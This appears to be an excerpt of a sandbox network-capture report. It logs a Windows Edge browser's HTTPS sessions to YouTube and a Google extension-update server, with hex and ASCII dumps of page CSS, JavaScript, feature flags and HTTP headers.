2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 6f 76 65 72 2d 6f 70 61 63 69 74 79 2c 30 2e 30 34 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 41 48 65 36 4b 63 2d 58 70 6e 44 43 65 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 6e 6f 74 28 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 29 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 37 35 6d 73 3b 6f 70 61 63 69 74 79 3a 2e 31 32 3b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 6f 63 75 73 2d 6f 70 61 63 69 74 79 2c 30 2e 31 32 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 Data Ascii: over-opacity,0.04)}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe::before,.VfPpkd-ksKsZd-XxIAqe:not(.VfPpkd-ksKsZd-mWPk3d):focus::before{transition-duration:75ms;opacity:.12;opacity:var(--mdc-ripple-focus-opacity,0.12)}.VfPpkd-ksKsZd-XxIA
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 36 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 Data Ascii: border-radius:6px;box-sizing:content-box;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);height:100%;width:100%;display:none}@media screen and (forced-colors:active){.VfPpkd-Bz112c-J1Ukfc-LhBDec{border-color:CanvasText}}.VfPpkd-Bz112c-J1
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 61 66 74 65 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 72 61 64 69 75 73 2d 69 6e 20 32 32 35 6d 73 20 66 6f 72 77 61 72 64 73 2c 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 69 6e 20 37 35 6d 73 20 66 6f 72 77 61 72 64 73 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 54 76 38 6c 35 64 2d 4f 6d 53 31 76 66 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 61 66 74 65 72 7b 61 6e 69 6d 61 74 69 6f 6e 3a 6d 64 63 2d 72 69 70 70 6c 65 2d 66 67 2d 6f 70 61 63 69 74 79 2d 6f 75 74 20 2e 31 35 73 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 Data Ascii: Bz112c-Jh9lGc::after{animation:mdc-ripple-fg-radius-in 225ms forwards,mdc-ripple-fg-opacity-in 75ms forwards}.VfPpkd-Bz112c-LgbsSe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-Tv8l5d-OmS1vf .VfPpkd-Bz112c-Jh9lGc::after{animation:mdc-ripple-fg-opacity-out .15s;transform:tr
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 61 63 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 68 6f 76 65 72 2d 6f 70 61 63 69 74 79 2c 30 29 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 3a 64 69 73 61 62 6c 65 64 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 41 48 65 36 4b 63 2d 58 70 6e 44 43 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 3a 64 69 73 61 62 6c 65 64 3a 6e 6f 74 28 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 29 3a 66 6f 63 75 73 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 68 39 6c 47 63 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f Data Ascii: acity:var(--mdc-ripple-hover-opacity,0)}.VfPpkd-Bz112c-LgbsSe:disabled.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe .VfPpkd-Bz112c-Jh9lGc::before,.VfPpkd-Bz112c-LgbsSe:disabled:not(.VfPpkd-ksKsZd-mWPk3d):focus .VfPpkd-Bz112c-Jh9lGc::before{transition-duratio
2024-01-17 23:34:39 UTC	2085	IN	Data Raw: 63 72 65 65 6e 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 3a 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d Data Ascii: creen and (forced-colors:active){.VfPpkd-LgbsSe .VfPpkd-J1Ukfc-LhBDec{border-color:CanvasText}}.VfPpkd-LgbsSe .VfPpkd-J1Ukfc-LhBDec::after{content:"";border:2px solid transparent;border-radius:8px;display:block;position:absolute;top:50%;left:50%;transform

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49730	142.250.72.110	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:42 UTC	678	OUT	GET / HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:42 UTC	3395	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:42 GMT Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en-GB for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=wAs6SZEisFI; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: LOGIN_INFO=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=www.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.www.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=m.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.m.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: SID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: HSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: SSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: APISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: SAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-YEC=CgtfaFpiTVFDNWhNayiSyKGtBjIKCgJERRIEEgAgRg%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:34:41 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRg%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:34:42 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:42 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: CONSENT=PENDING+738; expires=Fri, 16-Jan-2026 23:34:42 GMT; path=/; domain=.youtube.com; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:42 UTC	3395	IN	Data Raw: 32 35 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 2d 64 65 70 72 65 63 61 74 65 20 73 79 73 74 65 6d 2d 69 63 6f 6e 73 20 74 79 70 6f 67 72 61 70 68 79 20 74 79 70 6f 67 72 61 70 68 79 2d 73 70 61 63 69 6e 67 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 31 39 50 58 51 5f 68 47 53 67 30 6a 53 70 56 32 70 50 46 75 75 67 22 3e 77 69 6e Data Ascii: 253d<!DOCTYPE html><html style="font-size: 10px;font-family: Roboto, Arial, sans-serif;" lang="en-GB" darker-dark-theme darker-dark-theme-deprecate system-icons typography typography-spacing><head><script data-id="_gd" nonce="19PXQ_hGSg0jSpV2pPFuug">win
2024-01-17 23:34:42 UTC	3395	IN	Data Raw: 6f 72 28 22 50 6f 6c 79 6d 65 72 20 64 65 66 69 6e 65 20 70 72 6f 70 65 72 74 79 20 66 61 69 6c 65 64 20 66 6f 72 20 22 2b 0a 4f 62 6a 65 63 74 2e 6b 65 79 73 28 70 29 29 3b 7d 74 68 69 73 2e 5f 6e 61 74 69 76 65 50 72 6f 74 6f 74 79 70 65 73 5b 74 61 67 5d 3d 70 7d 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 50 6f 6c 79 6d 65 72 45 72 72 6f 72 28 6d 73 67 29 7b 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 28 6d 73 67 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 30 2c 30 2c 6e 65 77 20 45 72 72 6f 72 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 6f 69 6e 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 22 2c 22 29 29 29 7d 76 61 72 20 6f 72 69 67 50 6f 6c 79 6d 65 72 3d 77 69 6e 64 6f 77 5b 22 50 6f 6c Data Ascii: or("Polymer define property failed for "+Object.keys(p));}this._nativePrototypes[tag]=p}return p}function handlePolymerError(msg){window.onerror(msg,window.location.href,0,0,new Error(Array.prototype.join.call(arguments,",")))}var origPolymer=window["Pol
2024-01-17 23:34:42 UTC	2751	IN	Data Raw: 74 7c 7c 79 74 63 73 69 2e 6e 6f 77 28 29 3b 69 66 28 74 69 63 6b 73 5b 6c 5d 29 7b 74 69 63 6b 73 5b 22 5f 22 2b 6c 5d 3d 74 69 63 6b 73 5b 22 5f 22 2b 6c 5d 7c 7c 5b 74 69 63 6b 73 5b 6c 5d 5d 3b 74 69 63 6b 73 5b 22 5f 22 2b 6c 5d 2e 70 75 73 68 28 76 29 7d 74 69 63 6b 73 5b 6c 5d 3d 0a 76 7d 2c 69 6e 66 6f 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 76 2c 6e 29 7b 79 74 63 73 69 2e 67 74 28 6e 29 2e 69 6e 66 6f 5b 6b 5d 3d 76 7d 2c 69 6e 66 6f 47 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 70 2c 6e 29 7b 79 74 63 73 69 2e 67 74 28 6e 29 2e 67 65 6c 2e 70 72 65 4c 6f 67 67 65 64 47 65 6c 49 6e 66 6f 73 2e 70 75 73 68 28 70 29 7d 2c 73 65 74 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 79 74 63 73 69 2e 74 69 63 6b 28 22 5f 73 74 61 72 74 22 2c 74 2c 6e Data Ascii: t\|\|ytcsi.now();if(ticks[l]){ticks["_"+l]=ticks["_"+l]\|\|[ticks[l]];ticks["_"+l].push(v)}ticks[l]=v},info:function(k,v,n){ytcsi.gt(n).info[k]=v},infoGel:function(p,n){ytcsi.gt(n).gel.preLoggedGelInfos.push(p)},setStart:function(t,n){ytcsi.tick("_start",t,n
2024-01-17 23:34:42 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 43 4c 49 45 4e 54 5f 43 41 4e 41 52 59 5f 53 54 41 54 45 22 3a 22 6e 6f 6e 65 22 2c 22 44 45 56 49 43 45 22 3a 22 63 62 72 5c 75 30 30 33 64 45 64 67 65 2b 43 68 72 6f 6d 69 75 6d 5c 75 30 30 32 36 63 62 72 76 65 72 5c 75 30 30 33 64 31 31 37 2e 30 2e 32 30 34 35 2e 35 35 5c 75 30 30 32 36 63 65 6e 67 5c 75 30 30 33 64 57 65 62 4b 69 74 5c 75 30 30 32 36 63 65 6e 67 76 65 72 5c 75 30 30 33 64 35 33 37 2e 33 36 5c 75 30 30 32 36 63 6f 73 5c 75 30 30 33 64 57 69 6e 64 6f 77 73 5c 75 30 30 32 36 63 6f 73 76 65 72 5c 75 30 30 33 64 31 30 2e 30 5c 75 30 30 32 36 63 70 6c 61 74 66 6f 72 6d 5c 75 30 30 33 64 44 45 53 4b 54 4f 50 22 2c 22 44 49 53 41 42 4c 45 5f 59 54 5f 49 4d 47 5f 44 45 4c 41 59 5f 4c 4f 41 44 49 4e 47 22 3a 66 61 6c 73 Data Ascii: 8000{"CLIENT_CANARY_STATE":"none","DEVICE":"cbr\u003dEdge+Chromium\u0026cbrver\u003d117.0.2045.55\u0026ceng\u003dWebKit\u0026cengver\u003d537.36\u0026cos\u003dWindows\u0026cosver\u003d10.0\u0026cplatform\u003dDESKTOP","DISABLE_YT_IMG_DELAY_LOADING":fals
2024-01-17 23:34:42 UTC	1252	IN	Data Raw: 6b 74 6f 70 5f 61 64 64 5f 74 6f 5f 70 6c 61 79 6c 69 73 74 5f 72 65 6e 64 65 72 65 72 5f 64 69 61 6c 6f 67 5f 70 6f 70 75 70 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 6e 69 6d 61 74 65 5f 6d 69 6e 69 70 6c 61 79 65 72 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 63 6c 69 65 6e 74 5f 72 65 6c 65 61 73 65 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 64 65 6c 61 79 5f 70 6c 61 79 65 72 5f 72 65 73 69 7a 69 6e 67 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 63 6c 69 63 6b 5f 64 72 61 67 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 Data Ascii: ktop_add_to_playlist_renderer_dialog_popup":true,"desktop_animate_miniplayer":true,"desktop_client_release":true,"desktop_delay_player_resizing":true,"desktop_enable_dmpanel_click_drag_scroll":true,"desktop_enable_dmpanel_scroll":true,"desktop_enable_dmpa
2024-01-17 23:34:42 UTC	1252	IN	Data Raw: 64 73 5f 77 65 62 5f 6e 77 6c 5f 64 69 73 61 62 6c 65 5f 6e 6f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 65 70 6f 72 74 5f 6f 6e 5f 65 72 72 6f 72 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 70 5f 69 6e 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 64 73 5f 77 65 62 5f 65 70 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 61 6e 64 5f 70 61 64 64 69 6e 67 5f 66 69 78 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 74 79 70 6f 67 72 61 70 68 79 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 74 74 6f 6e 5f 62 65 68 61 76 69 6f 72 5f 72 65 75 73 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 61 6c 6c 5f 74 6f 5f 61 63 74 69 6f 6e 5f 63 6c 61 72 69 66 69 Data Ascii: ds_web_nwl_disable_nocookie":true,"enable_ab_report_on_errorscreen":true,"enable_ab_rp_int":true,"enable_ads_web_ep_buenos_aires_and_padding_fix":true,"enable_buenos_aires_typography":true,"enable_button_behavior_reuse":true,"enable_call_to_action_clarifi
2024-01-17 23:34:42 UTC	1252	IN	Data Raw: 6e 74 69 6f 6e 5f 73 75 67 67 65 73 74 5f 70 6f 73 74 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 69 67 68 5f 66 72 65 71 75 65 6e 63 79 5f 63 6f 6f 6b 69 65 5f 72 6f 74 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 6c 70 5f 63 6c 69 65 6e 74 5f 69 63 6f 6e 5f 70 69 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 64 65 6e 74 69 74 79 5f 61 74 74 72 69 62 75 74 65 73 5f 66 6f 72 5f 6c 69 76 65 5f 63 68 61 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6d 61 67 65 5f 70 6f 6c 6c 5f 70 6f 73 74 5f 63 72 65 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 6c 69 6e 65 5f 73 68 6f 72 74 73 5f 6f 6e 5f 77 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 74 65 72 73 74 69 74 69 61 6c 5f 65 6e 74 69 74 79 5f Data Ascii: ntion_suggest_posts":true,"enable_high_frequency_cookie_rotation":true,"enable_hlp_client_icon_pick":true,"enable_identity_attributes_for_live_chat":true,"enable_image_poll_post_creation":true,"enable_inline_shorts_on_wn":true,"enable_interstitial_entity_
2024-01-17 23:34:43 UTC	1252	IN	Data Raw: 61 62 6c 65 73 5f 6f 6e 5f 6d 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 61 62 6c 65 73 5f 75 72 6c 5f 72 65 73 6f 6c 75 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 65 72 5f 70 61 72 61 6d 5f 74 72 75 6e 63 61 74 69 6f 6e 5f 62 65 66 6f 72 65 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 6c 5f 63 68 6f 69 63 65 5f 62 6f 72 64 65 72 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 5f 6d 69 67 72 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 70 75 6c 61 74 65 5f 61 74 74 5f 70 73 64 5f 69 6e Data Ascii: ables_on_mweb":true,"enable_playables_url_resolution":true,"enable_player_param_truncation_before_navigation_on_web":true,"enable_poll_choice_border_on_web":true,"enable_polymer_resin":true,"enable_polymer_resin_migration":true,"enable_populate_att_psd_in
2024-01-17 23:34:43 UTC	1252	IN	Data Raw: 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 68 6f 77 69 6e 67 5f 67 65 6e 72 65 5f 64 61 74 61 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 69 67 6e 61 6c 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 5f 61 64 5f 67 75 69 64 61 6e 63 65 5f 70 72 6f 6d 70 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 70 61 62 6c 65 5f 61 64 73 5f 66 6f 72 5f 75 6e 70 6c 75 67 67 65 64 5f 61 64 5f 70 6f 64 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6d 65 61 72 69 6e 67 5f 65 78 70 61 6e 73 69 6f 6e 5f 64 61 69 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 70 61 72 6b 6c 65 73 5f 77 65 62 5f 63 6c 69 63 6b 61 62 6c 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 71 75 69 66 66 6c 65 5f 67 69 66 Data Ascii: ":true,"enable_showing_genre_data":true,"enable_signals":true,"enable_skip_ad_guidance_prompt":true,"enable_skippable_ads_for_unplugged_ad_pod":true,"enable_smearing_expansion_dai":true,"enable_sparkles_web_clickable_description":true,"enable_squiffle_gif
2024-01-17 23:34:43 UTC	1252	IN	Data Raw: 6c 65 72 5f 6c 6f 67 67 69 6e 67 5f 63 6c 65 61 6e 75 70 5f 6b 69 6c 6c 73 77 69 74 63 68 22 3a 74 72 75 65 2c 22 65 72 72 5f 6f 6e 5f 70 6c 5f 72 5f 63 22 3a 74 72 75 65 2c 22 65 78 70 6f 72 74 5f 6e 65 74 77 6f 72 6b 6c 65 73 73 5f 6f 70 74 69 6f 6e 73 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 5f 77 69 74 68 5f 65 64 75 22 3a 74 72 75 65 2c 22 66 65 74 63 68 5f 62 69 64 5f 66 6f 72 5f 64 63 6c 6b 5f 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 66 69 6c 6c 5f 6e 6f 5f 68 69 73 74 6f 72 79 5f 75 73 65 72 5f 69 6e 5f 69 70 22 3a 74 72 75 65 2c 22 66 69 6c 6c 5f 6e 6f 5f 68 69 73 74 6f 72 79 5f 75 73 65 72 5f 69 6e 5f 77 61 74 63 68 5f 73 74 Data Ascii: ler_logging_cleanup_killswitch":true,"err_on_pl_r_c":true,"export_networkless_options":true,"external_fullscreen":true,"external_fullscreen_with_edu":true,"fetch_bid_for_dclk_status":true,"fill_no_history_user_in_ip":true,"fill_no_history_user_in_watch_st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49732	142.250.80.46	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:43 UTC	773	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromiumcrx&prodchannel=&prodversion=117.0.2045.55&lang=en-GB&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: ghbmnnjooekpmoecnnnilnnbdlolhkhi X-Goog-Update-Updater: chromiumcrx-117.0.2045.55 MS-CV: a81qv7o0a1LQlc+rdgL9Fm Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
